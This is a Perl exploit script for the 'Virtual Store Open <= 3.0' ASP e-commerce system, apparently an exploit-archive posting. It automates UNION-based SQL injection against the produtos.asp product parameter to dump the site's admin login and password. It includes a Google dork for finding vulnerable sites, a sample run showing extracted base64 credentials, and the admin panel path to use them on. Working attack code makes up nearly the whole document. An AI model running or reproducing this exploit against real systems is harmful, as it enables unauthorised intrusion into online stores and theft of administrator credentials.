Virtual Store Open <= 3.0

#!/usr/bin/perl
#
# Script Name: Virtual Store Open <= 3.0
# Link1 : http://www.virtuastore.com.br/shopping.asp?link=ShoppingVirtuaStore
# Link2 : http://www.virtuastore2010.com.br/
# Link3 Yahoo Group : http://br.groups.yahoo.com/group/virtuastore/
# Bug: Acess Sql Injection
# Found: Br0ly
# google dork: inurl:"produtos.asp?produto="
# Use some base64 decode google IT.
# After decoding  login and pass go to: www.site.com.br/administrador.asp
# aoiuaoaaaaiuahiuahaaiauhaiuha EASY ???
# BRASIL!! :D
#
# exploit demo:
#
#[br0ly@xploit web]$ perl virtualstore.txt http://server/produtos.asp?produto=98
#
#  --------------------------------------
#  -Virutal Store OPen
#  -ACESS Sql Injection
#  -by Br0ly
#  --------------------------------------
#
#[+] GO: http://server/produtos.asp?produto=-1
#[+] Testing: 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,
#[+] URL_INJECTED:: http://server/produtos.asp?produto=-1%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,c0li,24,25%20FROM%20acesso;
#[+] LOGIN:: YWRtaW4=
#[+] SENHA:: ZXVyZWth
#[+] Done
#
# ADMIN PAINEL: http://server/administrador.asp
#
use IO::Socket::INET;
use IO::Select;
use HTTP::Request;
use LWP::UserAgent;

#CONF

my $host  = $ARGV[0];
my $spc    = "%20";
my $ce    = "%26";
my $fim_n  = 51;
my $login = "chr(98)".$spc.$ce.$spc."chr(114)".$spc.$ce.$spc."chr(48)".$spc.$ce.$spc."chr(108)".$spc.$ce.$spc."chr(121)".$spc.$ce.$spc."login".$spc.$ce.$spc."chr(98)".$spc.$ce.$spc."chr(114)".$spc.$ce.$spc."chr(48)".$spc.$ce.$spc."chr(108)".$spc.$ce.$spc."chr(121)";
my $senha = "chr(98)".$spc.$ce.$spc."chr(114)".$spc.$ce.$spc."chr(48)".$spc.$ce.$spc."chr(108)".$spc.$ce.$spc."chr(121)".$spc.$ce.$spc."senha".$spc.$ce.$spc."chr(98)".$spc.$ce.$spc."chr(114)".$spc.$ce.$spc."chr(48)".$spc.$ce.$spc."chr(108)".$spc.$ce.$spc."chr(121)";

if(@ARGV < 1 ) { help(1); }
$h0st = url_id($host);
banner();


#GO

magic($h0st);

sub magic () {

    my $url    = $_[0];
    my $union  = "UNION".$spc."SELECT".$spc;
    my $end    = "FROM".$spc."acesso;";
    my $c0de  = "";
    my $c0li  = "";
    my $i = 1;
    my $content = "";
    print "[+] GO: $url\n";
    syswrite(STDOUT,"[+] Testing: ",14);
    for($i = 1;$i <= $fim_n;$i += 1) {
        my @num_magic = char_str($i);
        my $num_edit  = edit_char(@num_magic);
        my $hex = "chr(98)".$ce."chr(114)".$ce."chr(48)".$ce."chr(108)".$ce."chr(121)".$ce."$num_edit".$ce."chr(121)".$ce."chr(108)".$ce."chr(48)".$ce."chr(114)".$ce."chr(98)";
        my $bin = "br0ly".$i."yl0rb";
        if(($i > 1) && ($i < $fim_n)) {
            $c0li = $c0li.",".$hex;
            $c0de = $c0de.",".$bin;
        }
        else {
            $c0li = $c0li.$hex;
            $c0de = $c0de.$bin;
        }
        syswrite(STDOUT,$i.",", 255);
        my $xpl  = $url.$spc.$union.$c0li.$spc.$end;
        $content  = get_query($xpl);
        $content  = tag($content);
        if($content =~ /fail/)  { $i = $fim_n+1; }
        if($content =~ m/br0ly/i) {
            $number  = ssdp_mid_str("br0ly","yl0rb",$content);
            $link1  = str_replace($c0de,"br0ly".$number."yl0rb","c0li");
            $link2  = str_replace($link1,"br0ly","");
            $link3  = str_replace($link2,"yl0rb","");
            $inject  = $url.$spc.$union.$link3.$spc.$end;
            $sql_i  = $inject;
            print "\n[+] URL_INJECTED:: $inject\n";
            $login_i = get_login($sql_i);
            if($login_i != 1) {
                print "[+] LOGIN:: $login_i\n";
            }
            else {
                print "[-] FAIL TO GET LOGIN\n";
            }
            $senha_i = get_senha($sql_i);
            if($senha_i != 1) {
                print "[+] SENHA:: $senha_i\n";
            }
            else {
                print "[-] FAIL TO GET SENHA\n";
            }
            $i = $fim_n;
        }
        if($i == $fim_n+1) {
            print ("[-] Failed to get magic number. Please try it manually :)\n");

        }
    }
    print ("[+] Done\n");
}

sub tag () {
    my $string = $_[0];
    $string =~ s/ /\$/g;
    $string =~ s/\s/\*/g;
    return($string);
}

sub ssdp_mid_str () {
    my $left  = $_[0];
    my $right  = $_[1];
    my $string = $_[2];
    my @exp  = split($left,$string);
    my @data = split($right,$exp[1]);
    return $data[0];
}

sub get_login () {
    my $sqli  = $_[0];
    $login_aux = str_replace($sqli,"c0li",$login);
    $query    = get_query($login_aux);
    if($query  =~ m/br0ly(.+)br0ly/i) {
        $login_r = $1;
        return $login_r;
    }
    else { return 1; }
}

sub get_senha () {
    my $sqli  = $_[0];
    $senha_aux = str_replace($sqli,"c0li",$senha);
    $query    = get_query($senha_aux);
    if($query =~ m/br0ly(.+)br0ly/i) {
        $senha_r = $1;
        return $senha_r;
    }
    else { return 1; }
}

sub url_id () {
    my $host = $_[0];
    my $fail = "fail";
    if($host =~ /=(.+)/) {
        $id    = $1;
        $new_id = "-1";
        $host  = str_replace($host,$id,$new_id);
        return $host;
    }
    else {
        return $fail;
    }
}

sub str_replace () {
    my $source  = shift;
    my $search  = shift;
    my $replace = shift;
    $source =~ s/$search/$replace/ge;
    return $source;
}

sub get_query () {
    my $link = $_[0];
    if($link =~ /http:\/\//) { $link =~ s/http:\/\///; }
    my $fail = "fail";
    my $req  = HTTP::Request->new(GET => "http://".$link);
    my $ua  = LWP::UserAgent->new();
    $ua->timeout(5);
    my $response = $ua->request($req);
    #if ($response->is_error) { print("[-][Error] [timeout]\n"); return $fail; }
    return $response->content;
}

sub char_str () {
    my $str_1 = $_[0];
    my @str_char = unpack("C*", $str_1);
    return @str_char;
}


sub edit_char () {

    my @num = @_;
    my $num_t  = @num;
    my $num_magic;

    if($num_t > 1) {
        $num_magic = "chr($num[0])".$ce."chr($num[1])";
        return $num_magic;
    }
    else {
        $num_magic = "chr($num[0])";
        return $num_magic;
    }
}

sub help () {
    my $help = $_[0];
    if($help == 1) {
        banner();
        print "[-] MISS URL..\n";
        print "[+] USE:EX: perl $0 http://www.site_find_in_google.com.br/produtos.asp?produto=98\n";
        print "[+] USE:EX-LIVE: perl $0 http://server/produtos.asp?produto=98\n";
        exit(0);
    }
}

sub banner() {

    print "\n".
    "  --------------------------------------\n".
    "  -Virutal Store OPen                  \n".
    "  -ACESS Sql Injection                \n".
    "  -by Br0ly                            \n".
    "  --------------------------------------\n\n";
}